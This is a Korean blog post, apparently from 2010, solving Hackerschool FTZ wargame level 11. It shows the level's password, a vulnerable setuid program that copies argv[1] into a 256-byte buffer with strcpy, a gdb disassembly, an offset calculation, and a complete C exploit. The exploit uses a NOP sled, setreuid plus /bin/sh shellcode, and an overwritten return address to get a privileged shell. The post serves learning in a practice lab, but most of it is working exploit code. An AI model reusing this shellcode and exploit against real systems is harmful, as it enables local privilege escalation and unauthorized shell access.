/*
 http://sosal.tistory.com/
 * made by so_Sal
 */



오랜만에 다시 해커스쿨 잡아봤습니다.. ㅠㅠ

ID :: Level11
PW :: what!@#$?

이 포스트에서는 문제의 풀이에대한 요점만 다룹니다.
따라서 BOF의 이해는 아래 링크루 ^-^
LINK_


<Hint>

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

256 크기의 배열이 선언되어있고,
이 스택을 overflow 시켜서
ret값을 바꾸면 되겠네요.

배열을 선언할때마다 dummy 메모리 (잉여공간)이 생성됩니다.
따라서 메모리공간이 더미와 함께 총 얼마나 잡히는지
정확하게 하기위해서 gdb로 관찰해보겠습니다.
(bof는 정확한 계산이 필요합니다.)

[level11@ftz level11]$ gdb attackme
~~ 어쩌고 어쩌고~~
(gdb) disas main //또는 disassemble main
                              //메인함수를 디어셈 합니다.
                              //GDB 기능이 굉장히 많은데
                              //따로 공부하시길.. 바랍니다 ^-^

Dump of assembler code for function main:
0x08048470 <main+0>:    push   %ebp
0x08048471 <main+1>:    mov    %esp,%ebp
0x08048473 <main+3>:    sub    $0x108,%esp
0x08048479 <main+9>:    sub    $0x8,%esp
0x0804847c <main+12>:   push   $0xc14
0x08048481 <main+17>:   push   $0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
(이하생략)

(각 레지스터가 하는일을 잘 모르신다면 링크로 가셔서 공부하시기 바랍니다.  LINK_ )
esp를 ebp로 옮긴다음 16진수 108이란 크기만큼 SUB 뺀다. (스택을 생성한다.)

고럼 16진수 108은 264니까!
총 잡히는 메모리의 크기는 264갰네요

264 + ebp + ret = 272
따라서, ret값을 덮으려면 268바이트만큼
쓰레기를 채우던지 뭐를 채우던지 한 후, 다음 4바이트 (ret)에다
원하는 리턴주소값 (보통 쉘이겠죠) 을 넣으면..!! 성공? 되겠습니다.

웹에서 쉽게 구할 수 있는 에그쉘을
대충 짜집기해서 exploit으로 탄생시켰습니다.


/*
 * :: exploit 원리 ::
 * 스택에 NOP + shellcode를 스택 268 바이트까지 밀어넣고
 * 나머지 4바이트 (ret값을 가리키는 272번쨰칸) 에
 * 다시 스택으로 돌아오는 주소값을 넣었습니다.
 * 그럼 스택이 실행되면서 shellcode가 가지고 있는 명령어라 실행되겠습니다.
 */



#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

#define NOP     0x90              // 0x90은 아무런 의미 없는 문자로, 쓰레기로 많이 쓰입니다.
#define TARGET  "/home/level11/attackme"
#define OFFSET 
264             //왜 264인지 아실거라 믿습니다.

char shellcode[] =
"\x31\xc9\x66\xb9\x14\x0c\x31\xdb\x66\xbb\x14\x0c"
"\x31\xc0\xb0\x46\xcd\x80\x55\x89\xe5\xeb\x1f\x5e"
"\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\xc8\xf8\xff\xbf"
"\xf0\xf8\xff\xbf";  // <-- 스택으로 다시 리턴하는 주소값

//쉘코드에는 setreuid() 함수도 함께 들어있어서
//setreuid() 권한 호출 함수가 없더라도 exploit으로 쓸 수 있습니다.


int main(int argc, char *argv[])
{
                char buf[BUFSIZ];
                int i, sclen, j;
                sclen = strlen(shellcode);

                for(i = 0; i < (OFFSET+8-sclen); i++)
                        buf[i] = NOP;

                for(j = 0; j < sclen; j++) {
                        buf[i] = shellcode[j];
                        i++;
                }
                //쓰레기 + shellcode = 272
                //268까지 stack + ebp, 나머지 4는?
                //쉘코드 마지막 빨간줄입니다!!
                //스택에 쉘코드가 쌓이고, 리턴값은 다시 쉘코드가 있는
                //스택으로 향하게 합니다. -> 쉘코드 실행

                execl(TARGET, "attackme", buf, 0); //argv[1]로 buf 전달
}

'Linux > Linux_technic' 카테고리의 다른 글

해커스쿨 11~20 정답, 공격코드  (0) 2010.01.31
Linux :: 디버거 GDB 디버깅 테크닉  (1) 2010.01.31
Hackerschool Level11 Exploit  (0) 2010.01.10
strings - 의미 있는 문자열 dump  (0) 2009.11.08
Object file - ELF 파일  (0) 2009.10.23
od - 바이너리 파일 덤프  (0) 2009.10.23
Posted by sosal sosal

댓글을 달아 주세요